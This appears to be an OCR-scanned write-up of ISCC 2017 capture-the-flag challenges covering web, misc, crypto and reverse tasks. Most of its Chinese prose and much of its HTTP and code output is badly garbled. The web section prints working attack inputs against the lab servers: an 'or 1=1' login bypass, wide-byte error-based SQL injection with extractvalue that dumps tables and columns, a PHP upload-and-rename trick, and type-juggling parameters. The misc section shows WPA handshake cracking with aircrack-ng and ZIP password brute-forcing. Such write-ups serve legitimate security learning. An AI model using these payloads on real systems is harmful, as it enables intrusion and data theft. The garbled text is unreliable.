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Raw | Params | Headers | Hex

Raw | Headers | Hex HWLIRender]

20ST /web-02/index. php HTTF/1.1 A HTTF/1.1 200 OK
Jost: 139.129.108. 53:3190 i Date: Fri, 12 May 2017 12:45:19 GNT
Jser—Agent: Mozilla/5.0 (Windows NT 10.0; WOW&4; 1v:53.0) Gecko/20100101 Server: Apache/2. 4.7 (Ubuntw)
Tirefox/33.0 X-Powered-By: PHP/S. 5. 9-lubuntud. 21
tccept: text/htnl, application/shtnl+znl, application/xmnl;q=0. 9, */*; q=0.8 Vary: Accept-Encoding
tccept-Language: zh-CH, zh;q=0. 8, en-05; q=0. 5, en; g=0. 3 Content-Length: 538
tecept-Encoding: gzip, deflate Commection: close
Content-Type: application/z—www—forn—urlencoded Content-Type: text/html
Content-Length: 25
Referer: http://139.129.108. 53:3190/web—02/ IDOCTYPE html>
Comnection: close <html>
Ipgrade-Insecure—Requests: 1 <head>
<titlerflag change flag!</title>
diddenflag=flagkflag=flag ¢meta charset="utf-5">
</head>
<body>
W, et — A flagdl A A5 PRI R < by =i AS08 6k 8, ASARIRFLAG br »<center ><hl *You
give me flag and T will give you flag too” ~</hl></center>
<for>
<{center>
<forn name="flag” action="index.php” method="pest”>
Zinput type="hidden” name="hiddenflag” value="">
Zinput type="text” name="flag” walue="Let’s change flag”>
/o>
Zinput type="submit” value="1%FLAG! ">
</forn>
</center>
.v <fhody>

A flag AN, BAEIREAAD FLAG , Zlin—14, Ihf5fiflag

T el Il It

B R R R

POST /web—02/index. php HTTP/1.1

Hest: 139.129.108.53:5190

User—Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101
Firefox/53. 0

Accept: text/htnl, application/zhtml+xnl, application/znl;g=0. 9, */*; q=0. 8
Accept-Language: zh-ClN, zh;g=0. 8, en-US; g=0. 3, en; g=0. 3

Aecept—Encoding: gzip, deflate

Content-Type: application/z-www—forn-urlencoded

Content-Length: 35

Referer: http://139.129.108. 33:3190/web—02/

Comnection: close

Upgrade-Insecure-Requests: 1

hiddenflag=flag&flag=flag&FLAG=flag

I3

HTTP/1.1 200 OK

Date: Fri, 12 May 2017 12:46:08 GNT
Server: Apache/2. 4.7 (Ubuntu)
¥-Powered-By: PHP/S. 5. 9-lubuntud. 21
flag: {NOw_golOdo!eotherw3h}

Vary: Accept-Encoding
Content—Length: 571

Comnection: close

Content-Type: text/html

!DOCTYPE htal>
<html >
<head>
<titlerflag change flag!</title>
<meta charset="utf-8">
</head>
<hbody >
W5, e e — A f lagFR A A~ PR B by B ANE IR L, ASHHFRHRFLAG <br I FE A H R E, fla
g#5 PRI <center><hl >You give me fiag and I will give wou flag
too” "< /hl><¢/center>
b
dcenter>
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WelcomeToMySQL

IR —A b5, EAE— DSk, K . php $OIEA ROVF 1A

You are a good man

THE

EARJG B BUK . phps ARET), SET)HERE

#A JSvar fwww /html fweb—01 /base. php

{?php
$servername="localhost”;
$username="1scc2017";
$password="15cc2017";
$db="flag";
$th="flag";

7

FEAANIH T A B 7s  Hde 2

i S HE]

tidib: |http: //139. 129. 108. 53:8081 fweb—01 /upl oad/te. phps la

Bl [<ToMYsSQL/T

<H>localhost</H>
1secZ017¢00
<P>is0c2017¢/P>

wE: |
ERTEST | |prp(Eval) v ||cB2312 ~| g

BERZRRTh, B PR B R

TR BT id name flag
# [T information_schema @ 1 ISCC2017  Flag: {Isec_is_Fun_4nd php_iS_Easy}
= flag
= flag

id (int(4))
name (varchar(10))
flag (varchar(50))
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BHAFEE L jasonit g , HHE AN barl RN LT H A T2016, i, IE N 2017a Bin], X HEF3 T PHP
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KPR EANT G, fgeid ? XERIFZE A "nudt” ZRFH 5 o J5RMIILEASE, MrTblgead, 7k “bar2”:
[[1],2,3,4,0]

J& farray Mlistring 2t 17 stremp LU I 5 25 3% (5] — - nll, - eregi B 42 F %00k Wr B n]

REH I

iscc={"bari":"2017a","bar2":[[1],2,3,4,0]}&cat[1][]=1&dog=%00&cat[0]=0isccctf2017

@l Load URL | http://139.129.108.53:8083/web-09/?iscc={"bar1":"2017a","bar2":[[1],2,3,4,0]}&cat[1][]=18&dog=%00&cat[0] =Oisccctf2017
% split URL

' Execute

[] Enable Post data [ | Enable Referrer
@z~ &ACookiesv 4 Cssv [J=m~ WER~ @RIEE~ =il Jindy i ATSE~ MESHERE- LEEr O ¢« @

SRR, SR=W | | | | flag{sfklljljdstuaft}

AT ek H v
HTHF, RIS — T B T

http://139.129. 108. 53:5090 /web—04/robots. txt 200

Vi, RN R Hx

@& Load URL | http://139.129.108.53:5090/web-04/robots.txt
§ split URL

} Execute

[ ] Enable Post data [_] Enable Referrer
@=m~ AcCookiesv 2 Cssv [~ @EL~ @RRESE~ Harhesr Jind

B LENRAESHEY , EREEMENHY ? ZEEE EAEE

#

# robots. txt

#

User—agent: #*

Disallow: /21232f297a57a5a743894a0e4a801fc3/
Disallow: /api



Vi), R admin UL

Load URL | http://139.129.108.53:5090/web-04/21232f297a57a5a743894a0e4a801fc3
split URL

g

o=

b Execute

[ ] Enable Post data [_] Enable Referrer
@z=m~ AcCookies¥ 2 CSsv =~ @ER~ ORRESE~ Qarhesr Jindy &5 2

keep finding admin page!

B admin.php 752 S 1H

MusESERRA

PNEL, S5 RN R RS 2iflag, I8P Asqlid Ale

‘J
(POST /web—-04/21232f297a57a5a743894a024a801fc3/adnin. php HTTP/1.1

.
HTTP/1.1 200 OK

[l
Host: 139.129.108.53:5090 r Date: Sat, 13 May 2017 10:21:07 GHT
User—Agent: Mozilla/5.0 (Windows NT 10.0; WOW84; rv:33.0) Gecko/20100101 Server: Apache/Z2. 4.7 (Ubuntu)
Firefox/53.0 ¥-Powered-By: PHP/5.5. 9-1lubuntu4. 21
Accept: text/html, application/zhtnl+xnl, application/xzml;g=0. 9, #/#;g=0. 8 Vary: Accept-Encoding
Accept—Language: zh-CHN, zh;g=0. 8, en—US: g=0. 5, en; g=0. 3 Content-Length: 881
Accept—Encoding: gzip, deflate Comnection: close
Content—Type: applicatien/z—www—forn—urlencoded Centent-Type: text/html
Content-Length: 40
Referer: !DOCTYPE htmnl>
http://139.129, 108, 53:5090/web-04/21232f297a57a5a7438094a0e4a801fc3/adnin. php <html>
Connection: close <head>
Upgrade—Insecure-Requests: 1 . <meta charset="utf-8">
<titlefREEH233/titler
usernane=admin&password=admin’ or 1=1%23 <meta name="keywords” content="">
<meta name="description” content="">
<meta name="viewport” content="width=device-width">
<link href="public/css/base.css” rel="stylesheet” type="text/css”>
<link href="public/css/login. ess” rel="stylesheet” type="text/ecss">
</head>
<hody>
<p-Logged in! Flag: {ar32wefafafqw325t4rqgfcafas}</p »<div class="login">
<form action="admin. php” method="post” id="forn">
<div class="logo” »</div>
[ PR RN [ . —

| have a jpg,i upload a txt.
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B SeRE B AL A3

@l Load URL | http://139.129.108.53:3366/web-03/index.php?do=upload
§ split URL

Execute

[ ] Enable Post data [_] Enable Referrer

@z~ ACookiesv 2 CsSv [=:m~ @EK~ QRIS H=ftIhay /

your upload success!./uploads/ Axt
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BREROE AT DUE R TR, F, BUERETF M Lt iiA D, T RENGET, (FRRTH BT key--0 #iAT LIF
VW EHETIASCAHEAT furite HF3:

A, SR, SRR IEPIROIIANSCRE, IR A C N B AN, B do=rename8re=4

Bifiess LUR BT R4, Vi T

@ Load URL | http://139.129.108.53:3366/web-03/index.php?do=rename&re=EZisUhnjUdG7wtitUcPquNGcU2e65ZntUdKqUcOrUZG5StE3SZG10dn9
% split URL

» Execute

[] Enable Post data [ ] Enable Referrer
@2m~ &Cookiesw » CSSv [z~ @EE~ OREEE~ Heflhaiy Jindr JaErr ATSY EmEEEREY Lemr O O @

you success renamel./uploads/|

@ Lload URL | http://139.129.108.53:3366/web-03/uploads/1578666964.php
% split URL

’ Execute

[ ] Enable Post data [_] Enable Referrer
@z=m~ XcCookiesv 2 Cssv ==~ @EE~ @NEEE- Q=i Ao

<?php
show source( FILE ):

flag#R 45k 1. IERX AT A2 T —IHEEW
2

GET /web-03/uploads/1578666984. php HTITP/1.1 HTTP/1.1 302 Found

Iy
lHos‘t: 139.129.108. 33:3366 r Date: Tue, 16 Nay 2017 12:11:35 GMT
|User—Agent: Mozilla/5.0 (Windows NT 10.0: WOW64: rv:53.0) Gecko/20100101 Server: Apache/2. 4.7 (Ubuntw)
Firefox/53.0 i-Powered-By: PHP/S. 5. 9-lubuntu4. 21
Accept: text/htnl, application/zhtnl+znl, application/znl; q=0. 9, #/*; q=0. 8 Location: ./../flaggalf. php
lAccept-Language: zh-Cl, zh; q=0. 8, en-U05;q=0. 3, en; q=0. 3 Content-Length: 38
]Accept—Encoding: gzip, deflate Commection: close

Connection: close Content-Type: text/htnl

Uperade—Insecure—Requests: 1
flag {54a5hd4fe6193580020487h56acf f6cb}

where is your flag

FITFRAS I, Hph A AR 2 Ak

. owr noo Louiypuun Looounny auies

@ Load URL [ httpy//139.129.108.53:6980/web-08/
4 spliture

r Execute

[] Enable Post data [ ] Enable Referrer
@z~ ACookies™ # Cssv (A==~ @EAE~ @RAEE- @anhsr Jmcy Jamr ATE @=SERE Lahn- Q ¢ @

*+++*flag is in flag



FZsqUEN L, Seilik—F
—IFhaIid, SiPRKBUHK, BRIAREAR
BZE LR EAZRABIEL, — IR O EBELSE, (HJRREINAAGE, JHIrTRER © g LT

@ Load URL [ hitp://139.129.108.53:6980/web-08/7id=1%dF select
% spliturL

r Execute

[] Enable Post data [ Enable Referrer
@zAy AcCookies¥ 4 Cssv [J=2v @EE~ ORISR~ DEthay Amcy Fanr ATE~ MEESFREY Ltm- @ ¢ @

B waRmnESAEY , EEEESEATY ? SRR BEAEE

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'select” at line 1

REAREE T, B HREEE AR

@ Load URL | http://139.129.108.53:6980/web-08/7id=%df" and extractvalue(1, concat(0x7e, (select group_concat(0x7etable_name,0x7e) from information_schema.tables where table_schema=database()).0x7€))%23
% split URL
»

Execute

[] Enable Post data [ ] Enable Referrer
@z~ Acookiesw g cssv [l=m~ @EE~ @RASE- Dy Smdy Fegr T8 WEEEREy Lamr Q@ « @

XPATH syntax error: '~ ~article~,~flag~~"

@ Load URL | http://139.129.108.53:6980/web-08/?id=%df' and extractvalue(1, concat(0x7e, (select group_concat(0x7e,column_name,0x7e) from information_schema.columns where table_name=0x666¢6167),0x7€))%23
§ split URL
L

Execute

[ Enable Post data [] Enable Referrer
@z~ Acookiesw # Cssv [A=m- @EL- ONmEE- @amer Fme- FEie ATS- EmEsEkn LEnr Q ¢ @

XPATH syntax error: '~ ~id~,~thisisflag~~"

HEX B RHE T

@ Lload URL | http://139.129.108.53:6980/web-08/?id=%df" and extractvalue(1, concat(0x7e, (select mid(thisisflag,1,32) from flag),0x7¢))%23
§  split URL

» Execute

[] Enable Post data [ | Enable Referrer
@z=m~> AcCookies¥ # Cssv A=z~ @EE~ ONTEE- DEhasr Jimdy JBmr ATSY mEESEREY LEh- Q ¢ @

XPATH syntax error: '~flag:{441b7fa1617307be9632263a4'

@& Load URL | http://139.129.108.53:6980/web-08/7id=%df" and extractvalue(1, concat(0x7e, (select mid(thisisflag,10,32) from flag),0x7¢e))%23
% split URL

» Execute

[] Enable Post data [ | Enable Referrer
@z=m> LcCookiesv # csSv [A=m~ @EEY QMRS @Eatlhaer Jimdy L Er ATS mEEREEY Lanr Q ¢« @

XPATH syntax error: '~b7fa1617307be9632263a4 ~



A SRR R, @ B RRINA A flag.php A AR
@ Load URL |view-source:http://139.129.108.53:6980/web-08/flag.php
% split URL

b Execute

[ ] Enable Post data [_] Enable Referrer
@z=m~ AcCookies¥ 2 CSsv [~ @EL- ORRESE~ Qarhesr Jindy F 5
hint:thisisflag

XA AWM T hisisflag /2544, flag e& 4

S IEA3 Fflag
flag: flag: {441b7fa1617307be9632263a4497871e}

Simple sqli

EL$% username="' union select md5(1)#

password=1

ORI TEREL —ME, i Kflag
MISC
MR DAl sk

TECT R A Ldoex XA, AHIEI AT, Bk .zip 1T, £E document.xml 1K Hiflag

| document.xml HTML 37l 2 KB

ap e
- <wir>
<wi>TEX BB </w:t>
<fw:r>
<fw:p>
- <w:p w:rsidRDefault="002B3D8D" w:rsidR="002B3D8D" w:rsidRPr="002B3D8D" >
- <w:pPr>
- <w:rPr>
<w:rFonts w:hint="eastAsia"/>
<w:vanish/>
</w:rPr>
</w:pPr>
- <w:r w:rsidRPr="002B3D8D">
- <w:rPr>
<w:vanish/>
</w:rPr>
<w:t>flag{Fl@g}</w:t>
<fwrir>

1R & i& ¥ Disco



e BEN, BEEPRIY, KILEATHEE B A

EAZAH1050 5, AT LLRTHIREEL, K5I Zascii
mhr 1, RGN0, SHOR 7 —H, FEEHR
JAIA

ag {WOWfunny}
Eehs, .

1
==
5




R S

— It K E R, FHbinwalk 7T A B LA — A Zip R 4a e, KRR 4 R B 2
IR FOARIEE S B A, BB, AR RIS B KB A hint, & K 1100077, Hy&F0ON LiHua , 3k
FEEY KB 2222 Liua IXAEITE, Sl — M HERDIRAL, Bk

A8 AZPR 4.00 - 86% - X
~ Advanced ZIP Password Recovery
=I0aEIhiks | >
Advanced ZIP Password Recovery £t
3 SRS 12850617
I SHpaia 15 275ms
TINEE EE AR 10,078,915
T | HHRVER 15CCLHua s
|8 (D 313543434069 437561 fa
bl 1377 Vv =
ﬁﬁ%ﬁ i@ #B: | 777LHua E
BIHTEN=FF BPREEX | ©o
#aan
2017/5/22 7:47:55 E%%T‘ﬁiiﬁi‘)‘{ » EEWEE: C\Users\lanlan‘\Desktoph A
2017/5/22 7:47:55 - fRir %ﬁjﬁ...
2017/5/22 7:47:57 - BIORETHIEE |
2017/5/22 7.47:57 - 16CCLHua' i3 H#E =D v

~'E=% 15CCLHua g 10,094,750 p/s
A 1s EESEIEE
%ﬁg-s B4t 14776336, AME: 12850617

AZPR version 4.00 [c] 1937-2005 ElcomSoft Co.Ltd.

eI

AR, iR, R Mftp T
Horp e — A key. bty S 40t RG2S

B Y Y Ilos acoobo0860605 key.txt........ O c@on o8 coBBecoZalls
..... Jeeeve..T. .Gh~M,...d.}..V.U.5.........P.h-..D.......~.TC... ce3a U amav A&7 {rKpVrQl. L L LW PKL e el Ll WY I..
.......................... AT o cc s oo ocoSncacacc e
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-INREBINE IISCAF, -inkey R @ AHILMF, -outufif s s 1 ST
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hi, boys and girls! flag is {haPPy_Use OpenSsI}
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5%5
31
&)
EER
T
7
TRk
;AT
BeH
-
Ji
%,

Hii

HMH
g
ERER
HBFZS
XH
a4
rXiul
=
YEhd
34

TR
B
YEhd
IBESS
Nl
BT
it Py

TR RERA25KE . o o FHMEERIR KL, MEEAY. . o KT, HiE

FHR—HEF AT

VmOxd 1NtUXIWa1pPVIdoVFIUSINIRIJVVGtOamJGWnIWMFHVIUXV1ZgTIdNakZIWVexS1IXTnNhRmho TVZwe VdWUkd XbVZHWKkhOWGJGe
HBWa1paZWxaclpEUmhNVXBYVW14V2FHVNFRVGs9

—&iltbasebdff %, WU )LZE, REAT
flag: flag{youdlanyls1}
basic

Wheel Cipher



BESR R ZERE, BRTFERH, —IFAR LRI E SO R RO BT B4, KIAX, & Tk IlJefferson wheel cipher(Zs
iR N AR ), EAZ EHHE T, IR SRR - AMLE, KIiflag:

NACZDTRXMJQOYHGVS
FHTEQGYXFLOCEKBD
QGWTHSPYBXIZULV
KCEPMNZQWXYIHFRL
SXCDERFVBGTYHNUM
EIURYTASBKJDFHGL
VUBMCQWAOTIKZGJXP
OSFEZWAXJGDLUBVI
ONOZUTWDCVEJLXKIS
OWTGVRESCZQKELMXYT
FCUKTEBSXQYTZMJW.
NBVCEZQWERTFPOIUY
PNYCJBFZDRUSLOQX

ANAAANANANNMNAANAA

5>
E
¥
b

JWIKPBEL
A VERNSJUW
AFDCEONJ
JOT5GJVD
LOPJZQAW
CMXZPQOW
DSREFHENY
LYFNTCRM
CAPMYGHB
“UDNAJEB
RPLNDVHG
SKDJFHGM
AMKGHTW

AAAANAANAANAANAANA

FIREINTHEHOLE

o o o AATEXBRILTHER, BERRAREN, AR ER T
SHERRE
SHIED BIT
SHIERE
0%

#h£A4i8): 00:00:00

SR )5 /ebase64 N, BRI HLT
Flag:{Ly319.i5d1f*iCult!}

flag:

AT -

B8] : 00:00:00



TENRER - HFHT. o o BOEA RBA6HER], EFEEEARIAKFIERARIE, RIRKIITKAZ 5048, & .zip Ik, fh
Tt A& SO 163t il
RAF Nzipht s, i RA %, JRae

1 Ziperello - s

@ ziperello

Zip password recovery tool

ELIEa S | 6 e
o v | EE, HSH FHA) 1248
s - # (% - =
LIl 2D ﬂw%ﬁi%%%;?ﬁ WS R e
2%
048 : 00:06:30 fill#A4ig: 13:00:34
e || mr |

11:39:31: B "123456".04[8): 793 s

3 #flag: daczcasdqwdcsdzasd
AL A
I —5k B R, R binwalk 4347

# binwalk '/ root/# @ /Basic-03. png'

IPTION

RILT ok, R

T [ —— e 3 .i . \ i
1 3 i $ 5 Vd 5 é i;
! ] 3 1‘ ‘? s-‘ -‘i ; B
i | & {® H . L 3 i -
! ! { @ . v | i
] 3 i f g £
’ p— L i T T d ~ & | WS
| I , SO—— ‘L\ ...........

B S Pl 1D, ok R R AT
flag: goodluck



T YRR B

13 20PY 5 745

636A56355279427363446C4A49454A7154534230526D6843
56445A31614342354E326C4B4946467A5769426961453067

—HEMARG 6], N

cjV5RyBscDIIEJGTSBORMhC
VDZ1aCB5N2IKIFFZWiBiaEOg

BLETT Llbaseb4fifas, t—T

r5yG Ip9l BjM tFhB
T6uh y7iJ QsZ bhM

KR THBIE, JERAILF RGOS, RE
flag: TONGYUAN

YLIRAERE, THEUEYE

AR, B R RSARfif %
HEE T RS E S, RKI 4 Rbase6a N L), M KA =ANEy

SEQ = 13; DATA = 0x3b04b26a0adada2f67326bb0c5d6L; SIG = 0x2e5ab24f9dc21df406a87de0b3b4l;
SEQ = 0; DATA = 0x7492f4ec9001202dcb569df468b4L; SIG = 0xc9107666blcc040adfc2e89e3eTL;
SEQ = 5; DATA = 0x94d97e04f52c¢2d6f42f9aachf0bsL; SIG = 0Oxle3b6d4eafl11582e85ead4bf90a9L;
SEQ = 4; DATA = 0x2c¢29150f1e311ef09bc9f06735acL; SIG = 0x1665fb2da761c4de89f27ac80chL;
SEQ = 18; DATA = 0x181901c059de3b0f2d4840ab3aebl; SIG = 0x1b8bdf9468f81ce33alda2a8bfbel;
SEQ = 2; DATA = 0x8a03676745df01e16745145dd212L; SIG = 0x1378c25048c19853b6817eb9363aL;
SEQ = 20; DATA = 0x674880905956979ce49af33433L; SIG = 0x198901d5373ea225¢cc5c0db6698TL;
SEQ = 0; DATA = 0x633282273f9cfTebad4fchbel787bl; SIG = 0x2b15275412244442d9eeb0fc9lael;
SEQ = 28; DATA = 0x19688f112a61169¢9090a49918dL; SIG = 0x1448acbeee’b2e91a0ab241e590eL;
SEQ = 24; DATA = 0x59d0264d4al134faba91521b25e46L; SIG = 0x2bc3bf947c0e85444aal3efalclbl;
SEQ = 21; DATA = 0xd24562795754daTabe213ffcllel; SIG = 0x208babd43638118bfbfa24675ee9L;
SEQ = 19; DATA = 0x75c1fbc28bb27b5d2db9601fb967L; SIG = 0x2b5b628bf8183400cdab7f5870b1L;
SEQ = 33; DATA = 0x580e36ceb99786811893e38dbecal; SIG = 0x2b15275412244442d9ee60fcI9lael;
SEQ = 27: DATA = Oxleea254d861b2dc7ec03b37ef9fbL: SIG = 0xd6268f00fe0e2964d56458f59e2L:

SEQ AN, A ksl =2 5 J 1) 7 A

DATA ] {2 75 2 il 85 1) 4% 3L

DATA J2 K i% %5 Bob 1) 52 5 %5 3L, FHBob ¥ A ST DATAREAT 1 in% . B LS fd Fl factor-db J A Hi FAEH K fif 2 £ dls o
— PR ENE s16 HITEH, JERE RN R ILZERSANIZE 4, FIH Alicet) A8 X BE d AT — IR 28 44 56 IE
Witd, HES T REA







flag: flag{nething_t@ 533 _h3r3_mev3_en}

HETER T RE 24k, M binwalk 7047

KIGE T —Dzip3 i, ERMER, BRI

HEEMRRE
SAEN 20161114
HEEE 375437055104
15%
#r=A4i8): 00:00:05 fl2A1iE: 00:00:34

Fia

81k

20:34:35: =15 "20161114" 848: 85




193] — > hintF1— %47 6

HRIOTEAR BRI — N LI, T Zawifia s, M aircrack-ng TH

MERCURY_EBES88

k as target.

E7- D8- E8- E5- 88_handshake
ionary (opticn -w).

REKI—A, EZHH hint: §TPUALRISCC JEMUALH RS FRAE TR S —

JEA




SRIG EEFIH T Afiiflag: 1IsccieBA

:~# aircrack-ng '/ root/ S [ /C8- E7- D8- E8- E5- 88_handshake. cap' -w '/
root/ % M /wordlist. txt'
Opening / root/ % [/ C8- E7- D8- E8- E5- 88_handshake. cap
Read 8492 packets
# BSSID ESSTE Encryption
1 C8:E7:D8: E8: E5: 88 MERCURY_EBES88 WPA (1 handshake)

Choosing first network as target.

Opening / root/ % [/ C8- E7- D8- E8- E5- 88_handshake. cap
Reading packets, please wait..

Aircrack-ng 1.2 rc3
44] 54856 keys tested (1368.76 k/s)
KEY FOUND! [ ISCC16BA ]
Master Key : 40 4F F1 E8 EE F6 22 71
19 AD 27 01 E6 F4 82 BF
Transient Key : 15 3B 04 E3 6C 80 34 05
7B 30 A0 22 CE BO 98 12
FD 91 89 SF A2 22 66 DF
20 7A 86 85 85 70 4B 73

EAPOL HMAC : FD 7B 8E 53 29 F9 7122

PHP_encrypt_1

T A

fif s IAAS




pythonii 4 77 {F



flag: Flag:{asdqwdfasfdawfefqwdqwdadwgadawd}

Reverse

PR %

FLEZIDA S 9 B
Bk



HERE R HE, AARE0



fRFET L, 10745 = SO BB AT

11nux, crack

SR




CLAGH]
ILCF!

L

zi b, flag:

NRAFT]

flag{llnux_crack_

ILCF!}

X EA e gdb B A MAE — T, BEEDARE, —SWEMFRENARRIER, 4itodb ZEHMRER T . MiZHEMEE
A — Mag, AT SRR AR, BT _ SO L, AREES R T A& FEMflag: flag{1t.is.50.easy}
PN
HIEPEID, 320 5%y, ETIIDAFEEZH:

int _ cdecl main(int argc, const char **argv, const char **envp)
{
int v3; //
int vs; // |
t t; /f
; I
; M
; [/
= HKEY_CURRENT_USER;
if ( RegOpenKeyExwW(HKEY_CURRENT_USER, L"SOFTWARE\\ISCC®, @, OxF@@3Fu, & )
T = 60, RepQueryValueExw( , L"flag”, @, & . , & 1))
|| lsub_de1218((c! y&Data) )
{
= std::endl};
= sub_ae13Fe{std::cout, "try againl”};
JI'
else
I
L
= &t i:_-_:'|.|_)'
= sub_4@13Fe(std::cout, “"you got itl");
4
L
st basic ostream<char,std::char traits<char t (v3, )3

em("pause”);
return @;

HI TR R 3 A A

FLSI i O )l A

XANERE sub 401210, FRIEI::



i EfagIE RN Flag{xxx_x_xxxx_xxxxxxxx} , RJaRPawestokcld L or RIS/ 4y, ol b AT AW, & e i fa —00 2
Teyk IR, SEIINIE, fjEssHiflag:  flag{thx_4 your_register}
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